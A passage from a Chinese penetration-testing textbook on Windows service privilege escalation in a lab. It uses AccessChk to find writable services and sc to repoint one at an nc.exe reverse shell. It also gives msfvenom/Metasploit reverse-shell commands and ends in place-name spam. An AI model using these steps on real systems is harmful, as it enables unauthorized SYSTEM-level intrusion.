官术网_书友最值得收藏!

2.3 Windows低權限進程及服務提權

在實際滲透過程中,攻擊者有可能獲取了操作系統中的一個普通用戶賬號權限或者WebShell權限,通過低權限用戶進行越權,從而獲取系統權限。其利用原理主要是通過微軟的AccessChk工具軟件配合SC來操作服務,通過服務的重啟而得到權限。

2.3.1 AccessChk簡介及使用

1.AccessChk簡介

AccessChk是Sysinternals中的一個小工具,目前最新版本為6.1。由于其新版本中存在一些Bug,在實際使用時會提示需要多個dll文件,因此在本案例中使用的是3.0版本,其官方網站提供的下載地址為https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx

AccessChk主要用來檢查用戶和用戶組對文件、目錄、注冊表項、全局對象和系統服務的權限情況,在實際配置過程中如果權限設置失誤,就可能被用于提權。

2.使用AccessChk

在命令行下第一次運行時需要同意一個許可。如果不想看到提示窗口,可以執行“accesschk.exe/accepteula”命令,其主要參數如下。

        usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t
    <object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key,
    process, service, object>

這個命令分為3個部分。“accesschk”是程序名;第1個參數有9個可選項,部分可選項里還有可選參數;第2個參數是一個目標,這個目標可以是文件、目錄、注冊項、進程、服務、對象。

· -a:Windows賬戶權限。“*”作為顯示所有分配給用戶的權限名稱,只有指定用戶名稱或者組時才顯示指派的權限。

· -c:顯示服務名稱,“*”用于顯示所有服務。

· -d:僅處理目錄或頂級鍵。

· -e:只顯示顯式設置的完整性級別(Windows Vista和更高版本)。

· -f:顯示包含組和特權的完整過程令牌信息。

· -k:注冊表鍵值,例如“hklm\software”。

· -I:在取消完全訪問控制列表時忽略只繼承繼承符的對象。

· -l:顯示全部訪問控制列表。添加“-I”將忽略繼承ACE。

· -n:僅顯示沒有訪問權限的對象。

· -o:名稱是對象管理器命名空間中的一個對象(默認是root)。查看一個目錄的內容,用反斜線或“-S”、“-T”和對象類型指定名稱。

· -p:進程名或者PID,例如cmd.exe(使用“*”顯示所有的進程)。加“-f”顯示包括組和特權的所有進程令牌信息,加“-t”顯示線程。

· -q:省略標識。

· -r:顯示對象只讀屬性。

· -s:遞歸。

· -t:對象類型篩選器。

· -u:抑制錯誤。

· -v:冗長(包括Windows Vista完整性級別)。

· -w:僅顯示具有寫訪問權限的對象。

查看用戶服務,查看管理員組、users組下的所有服務,命令如下。

        accesschk administrators -c *
        accesschk users -c *

如圖2-10所示,可以對某個用戶進行查看,主要用來提權。例如,查看simeon用戶所具備的讀寫服務器權限,命令為“accesschk simeon-c * | find "RW"”或者“accesschk simeon -cw *”。

圖2-10 查看指定用戶的服務權限

查看用戶組中對系統服務所具備的寫權限,如果有則會顯示,否則會提示“No matching objects found”,具體如下。

        accesschk.exe -uwcqv "Authenticated Users" *
        accesschk.exe -uwcqv "Administrators" *
        accesschk.exe -uwcqv "Backup Operators" *
        accesschk.exe -uwcqv "Distributed COM Users" *
        accesschk.exe -uwcqv "Guests" *
        accesschk.exe -uwcqv "HelpServicesGroup" *
        accesschk.exe -uwcqv "IIS_WPG" *
        accesschk.exe -uwcqv "Network Configuration Operators" *
        accesschk.exe -uwcqv "Performance Monitor Users" *
        accesschk.exe -uwcqv "Performance Log Users" *
        accesschk.exe -uwcqv "Power Users" *
        accesschk.exe -uwcqv "Print Operators" *
        accesschk.exe -uwcqv "Remote Desktop Users" *
        accesschk.exe -uwcqv "Replicator" *
        accesschk.exe -uwcqv "TelnetClients" *
        accesschk.exe -uwcqv "Users" *

2.3.2 獲取低權限可操作服務的名稱

1.實驗環境

本次實驗環境為Windows Server 2003SP3,用戶simeon屬于Power User組,可登錄系統,IP地址為192.168.52.175。監聽服務IP地址為192.168.52.215。將nc.exe復制到c:\windows\temp目錄下。

2.獲取可讀寫的服務

執行以下命令獲取Power Users組可以操作的服務名稱信息,如圖2-11所示。

圖2-11 獲取可讀寫的服務名稱

        accesschk.exe -uwcqv "Power Users" *

執行后顯示結果如下。

        RW DcomLaunch
              SERVICE_QUERY_STATUS
              SERVICE_QUERY_CONFIG
              SERVICE_CHANGE_CONFIG
              SERVICE_INTERROGATE
              SERVICE_ENUMERATE_DEPENDENTS
              READ_CONTROL
        RW kdc
              SERVICE_QUERY_STATUS
              SERVICE_QUERY_CONFIG
              SERVICE_CHANGE_CONFIG
              SERVICE_INTERROGATE
              SERVICE_ENUMERATE_DEPENDENTS
              READ_CONTROL

3.查詢服務詳細信息

名稱為“DcomLaunch”、“kdc”的服務可以被simeon用戶操作。使用“sc qc kdc”命令查詢kdc服務的詳細信息,如圖2-12所示,可以看到該服務是以系統權限運行的。

圖2-12 查詢kdc服務的詳細信息

4.確定使用的服務

執行命令“net start”查看系統目前已經啟動的服務,也可以使用以下命令直接獲取。如圖2-13所示,在啟動服務列表中發現“DCOM Server Process Launcher”服務的名稱。

圖2-13 獲取服務名稱

        net start | find "DCOM Server Process Launcher"
        net start | find "Kerberos Key Distribution Center"

5.獲取服務名稱所對應的服務

使用命令“tasklist/svc”,如圖2-14所示,獲取“DCOM Server Process Launcher”服務名稱所對應的服務“DcomLaunch”。

2.3.3 修改服務并獲取系統權限

1.修改服務參數binpath的值

使用sc命令對服務進行修改,具體如下。

        sc config DcomLaunch binpath= "C:\windows\temp\nc.exe -nv 192.168.52.2154433
    -e C:\WINDOWS\System32\cmd.exe"

如圖2-15所示,執行命令后,顯示修改服務配置成功。再次使用“sc qc DcomLaunch”命令,執行文件已經更改為“C:\windows\temp\nc.exe-nv 192.168.52.2154433-e C:\WINDOWS\System32\cmd.exe”。查詢服務的命令為“sc qc DcomLaunch”。

圖2-15 修改binpath的值

2.重新啟動服務

先執行“sc config DcomLaunch obj=".\LocalSystem" password=""”命令,然后使用“net start DcomLaunch”命令啟動(也可以通過services.msc服務管理器重啟該服務),如圖2-16所示。

圖2-16 重新啟動服務

3.反彈獲取服務器權限

如圖2-17所示,在反彈服務器192.168.52.215中監聽4433端口,成功獲取來自192.168.52.175的反彈,且為系統權限。

圖2-17 反彈獲取服務器權限

4.總結

在Windows XP、Windows Server 2003、Windows 7(32/64)下有一些dll文件也可以被替換,具體如下。

· IKE and AuthIP IPsec Keying Modules (IKEEXT):wlbsctrl.dll。

· Windows Media Center Receiver Service (ehRecvr):ehETW.dll。

· Windows Media Center Scheduler Service (ehSched):ehETW.dll。

· Automatic Updates (wuauserv):ifsproxy.dll。

· Remote Desktop Help Session Manager (RDSessMgr):SalemHook.dll。

· Remote Access Connection Manager (RasMan):ipbootp.dll。

· Windows Management Instrumentation (winmgmt):wbemcore.dll。

· Audio Service (STacSV):SFFXComm.dll SFCOM.DLL。

· Intel(R) Rapid Storage Technology (IAStorDataMgrSvc):DriverSim.dll。

· Juniper Unified Network Service(JuniperAccessService):dsLogService.dll。

可以使用MSF生成exe文件。

·用Linux MSF監聽4433端口,命令如下。

        ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433
    -f exe -o /tmp/my_payload.exe

·在Windows下監聽4433端口,命令如下。

        ./msfvenom -p windows/shell_reverse_tcp lhost=192.168.52.215 lport=4433-f exe
    -o /tmp/w.exe

在MSF上執行如下命令。

        set payload windows/meterpreter/reverse_tcp
        show options
        set lhost 192.168.52.215
        set lport 4433
        run 0

將生成的“/tmp/my_payload.exe”按照本書的方法執行,即可得到反彈的WebShell。

主站蜘蛛池模板: 射阳县| 兴业县| 鄂托克前旗| 礼泉县| 阿瓦提县| 泰兴市| 兴文县| 理塘县| 大理市| 乌海市| 长宁区| 二连浩特市| 龙海市| 安丘市| 洞口县| 彝良县| 和田市| 堆龙德庆县| 灵台县| 砀山县| 静海县| 新营市| 同心县| 永寿县| 高唐县| 阳原县| 社会| 定边县| 奉节县| 兖州市| 抚顺县| 石柱| 德江县| 衡水市| 吉林省| 清河县| 师宗县| 淮南市| 香港 | 河北区| 搜索|